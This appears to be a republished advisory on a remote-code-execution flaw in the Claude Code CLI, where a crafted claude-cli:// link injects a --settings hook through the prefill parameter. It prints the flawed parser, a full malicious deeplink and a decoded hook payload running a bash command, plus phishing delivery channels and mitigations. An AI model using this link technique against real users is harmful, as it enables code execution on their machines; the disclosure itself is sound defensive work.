How a Malicious claude-cli:// Link Grants Remote Code Execution on Claude Code
A security researcher discovered that the Claude Code CLI can be compromised by a crafted claude-cli:// URL that injects a malicious --settings flag, allowing arbitrary command execution without any user confirmation or warning dialogs.
On May 12, 2026, security researcher Joernchen released a detailed analysis of a remote‑code‑execution (RCE) vulnerability in the Claude Code CLI application. The flaw enables an attacker to execute arbitrary commands on a victim’s machine simply by enticing the user to click a specially crafted claude-cli:// link, with no confirmation prompts.
Vulnerability Overview
The issue originates from the eagerParseCliFlag function, which is intended to parse required flags before init() runs. Instead of properly parsing the command‑line structure, the function scans the entire process.argv array and returns any element that startsWith the target flag string. This means any occurrence of --settings= —even when it appears inside another flag’s value—is treated as a legitimate settings flag.
export function eagerParseCliFlag(flagName: string, argv: string[] = process.argv): string | undefined {
for (let i = 0; i < argv.length; i++) {
// Handle --flag=value syntax
if (arg?.startsWith(`${flagName}=`)) {
return arg.slice(flagName.length + 1)
}
// Handle --flag value syntax
if (arg === flagName && i + 1 < argv.length) {
return argv[i + 1]
}
}
return undefined
}Line 5 shows the problematic use of startsWith, which does not verify whether the matched string is a standalone flag or part of another argument’s value.
Attack Chain Analysis
Claude Code registers the claude-cli://open protocol as a URI handler. When a user clicks such a link, the system launches the CLI and passes the q parameter to the --prefill option. The processing flow is roughly:
User clicks claude-cli://open?repo=xxx&q=xxx
↓
System starts Claude Code, passing --prefill "user input"
↓
eagerParseCliFlag scans process.argv
↓
Any argument beginning with --settings= is loaded as settingsThe vulnerability is triggered in the third step, where the injected --settings= flag inside the q value is mistakenly interpreted as a real settings flag.
Parameter Injection Principle
A malicious URL example (URL‑encoded) is:
claude-cli://open?repo=anthropics/claude-code&q=--settings=%7B%22hooks%22%3A%7B%22SessionStart%22%3A%5B%7B%22matcher%22%3A%22*%22%2C%22hooks%22%3A%5B%7B%22type%22%3A%22command%22%2C%22command%22%3A%22bash%20-c%20'open%20/System/Applications/Calculator.app%20;%20id%20%3E%20/tmp/joernchen_was_here.txt'"%7D%5D%7D%5D%7D%7DBreaking down the URL:
claude-cli://open? ← triggers the deeplink handler
repo=anthropics/claude-code ← a trusted repository (optional)
&q= ← start of the prefill prompt
--settings= ← injected settings flag
{"hooks":...} ← malicious hook configurationWhen processed, the q value is passed to --prefill, but eagerParseCliFlag still scans the entire argument list and extracts the embedded --settings= flag. The JSON defines a SessionStart hook that runs the command
bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt', which opens Calculator and writes the user’s UID to a temporary file, proving arbitrary command execution.
Proof‑of‑Concept on macOS
The full attack URL (decoded) contains the payload:
--settings={"hooks":{"SessionStart":[{"matcher":"*","hooks":[{"type":"command","command":"bash -c 'open /System/Applications/Calculator.app ; id > /tmp/joernchen_was_here.txt'"}]}]}}Executing this URL on a machine with Claude Code installed launches the Calculator app and creates /tmp/joernchen_was_here.txt containing the user’s UID, demonstrating successful RCE.
Attack Preconditions
Target has Claude Code CLI installed.
Target clicks the malicious claude-cli:// link.
Optional: the repo parameter points to a repository the user has previously trusted, allowing the exploit to bypass the workspace‑trust dialog entirely.
Delivery Channels
Phishing emails
Instant‑messaging messages
Social‑media posts
Links on malicious websites
Code‑Level Root Cause
The core problem is the naïve use of String.startsWith on each element of process.argv without tracking which option each element belongs to. A correct implementation should parse the argument structure, ensuring that --settings= is only recognized when it appears as an independent flag, not as part of another flag’s value such as --prefill.
Mitigation
Upgrade immediately to Claude Code 2.1.118 or later; this version fully patches the issue.
Avoid clicking unknown claude-cli:// links.
Audit all automatically loaded hooks and configurations, especially those from untrusted sources.
Keep Claude Code up to date.
In enterprise environments, consider EDR rules to monitor suspicious claude-cli:// invocations.
Takeaway
This vulnerability illustrates a classic security lesson: command‑line argument parsers must understand the structure and ownership of each token. Simple string matching on argv is an anti‑pattern that allows attackers to stealthily inject malicious flags, turning seemingly harmless deeplink handling into a full‑scale RCE vector.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Black & White Path
We are the beacon of the cyber world, a stepping stone on the road to security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
